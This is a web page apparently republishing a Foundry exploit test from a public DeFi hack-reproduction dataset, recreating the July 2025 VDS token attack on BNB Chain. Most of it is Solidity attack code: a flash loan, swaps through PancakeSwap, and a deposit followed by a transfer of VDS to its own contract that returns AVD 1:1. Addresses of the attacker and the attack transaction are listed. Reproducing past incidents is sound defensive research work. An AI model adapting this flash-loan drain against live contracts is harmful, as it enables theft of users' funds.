Skip to content
THREATWIRE

Public reproduction file

src/test/2025-07/VDS_exp.sol

Public reproduction file for dataset entry VDS.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-07/VDS_exp.sol82 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 13k USD
8// Attacker : https://bscscan.com/address/0xa3e18e6028b1ca09433157cd6a5e807ffe705350
9// Attack Contract : https://bscscan.com/address/0x383794a0c68e5c8c050f8f361b26a22b3f60eccf
10// Vulnerable Contract : https://bscscan.com/address/0x6ce69d7146dbaae18c11c36d8d94428623b29d5a
11// Attack Tx : https://bscscan.com/tx/0x0e01fd8798f970fd689014cb215e622aca8b7c8c243176c5b504e0043402e31f
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x6ce69d7146dbaae18c11c36d8d94428623b29d5a#code
16// @Analysis
17// Post-mortem : N/A
18// Twitter Guy : https://x.com/SlowMist_Team/status/1945672192471302645
19// Hacking God : N/A
20pragma solidity ^0.8.0;
22address constant BSC_USD = 0x55d398326f99059fF775485246999027B3197955;
23address constant MOOLAH = 0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C;
24address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
25address constant AVD_TOKEN = 0x4Ec93ee81f25dA3C8e49F01533cfB734545190A8;
26address constant VDS_TOKEN = 0x6ce69d7146dbaae18c11c36d8D94428623B29D5A;
28contract VDS is BaseTestWithBalanceLog {
29 uint256 blocknumToForkFrom = 54252254 - 1;
31 function setUp() public {
32 vm.createSelectFork("bsc", blocknumToForkFrom);
33 fundingToken = BSC_USD;
34 }
36 function testExploit() public balanceLog {
37 // Step 1: Flash loan 20k BSC_USD from Moolah
38 IERC20(BSC_USD).approve(MOOLAH, type(uint256).max);
39 IMoolah(MOOLAH).flashLoan(BSC_USD, 20_000 ether, "");
40 }
42 function onMoolahFlashLoan(uint256 assets, bytes calldata userData) public {
43 IERC20 bscUsd = IERC20(BSC_USD);
44 IERC20 avd = IERC20(AVD_TOKEN);
45 IERC20 vds = IERC20(VDS_TOKEN);
47 IPancakeRouter router = IPancakeRouter(payable(PANCAKE_ROUTER));
49 bscUsd.approve(PANCAKE_ROUTER, 20_000 ether);
50 address[] memory path = new address[](2);
51 path[0] = BSC_USD;
52 path[1] = AVD_TOKEN;
53 // Step 2: BSC_USD -> AVD via PancakeSwap
54 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(assets, 0, path, address(this), block.timestamp);
56 uint256 avdBalance = avd.balanceOf(address(this));
57 avd.approve(VDS_TOKEN, avdBalance);
59 // Step 3: deposit AVD for VDS
60 IVDS(VDS_TOKEN).deposit(VDS_TOKEN, avdBalance);
62 // Step 4: Burn VDS to get AVD back
63 // Root cause: Sending VDS to its contract address returns AVD at a 1:1 ratio
64 uint256 amount = 168205391822;
65 vds.transfer(VDS_TOKEN, amount);
67 avdBalance = avd.balanceOf(address(this));
68 avd.approve(PANCAKE_ROUTER, avdBalance);
69 path[0] = AVD_TOKEN;
70 path[1] = BSC_USD;
71 // Step 5: AVD -> BSC_USD via PancakeSwap
72 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(avdBalance, 0, path, address(this), block.timestamp);
73 }
76interface IMoolah {
77 function flashLoan(address token, uint256 assets, bytes calldata data) external;
80interface IVDS {
81 function deposit(address token, uint256 amount) external;

Analysis

Dataset entry

Public Foundry test for “VDS” (2025-07-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xa3e18e6028b1ca09433157cd6a5e807ffe705350

  • Attack Contract

    0x383794a0c68e5c8c050f8f361b26a22b3f60eccf

  • Vulnerable Contract

    0x6ce69d7146dbaae18c11c36d8d94428623b29d5a

  • Attack Tx

    0x0e01fd8798f970fd689014cb215e622aca8b7c8c243176c5b504e0043402e31f

File record

Name
VDS
Path
src/test/2025-07/VDS_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
1ba4a824557cc29777cb2f49c545463d08b44eae
Language
Solidity
Size
82 lines
Date
2025-07-16
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-07/VDS_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1ba4a824557cc29777cb2f49c545463d08b44eae, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.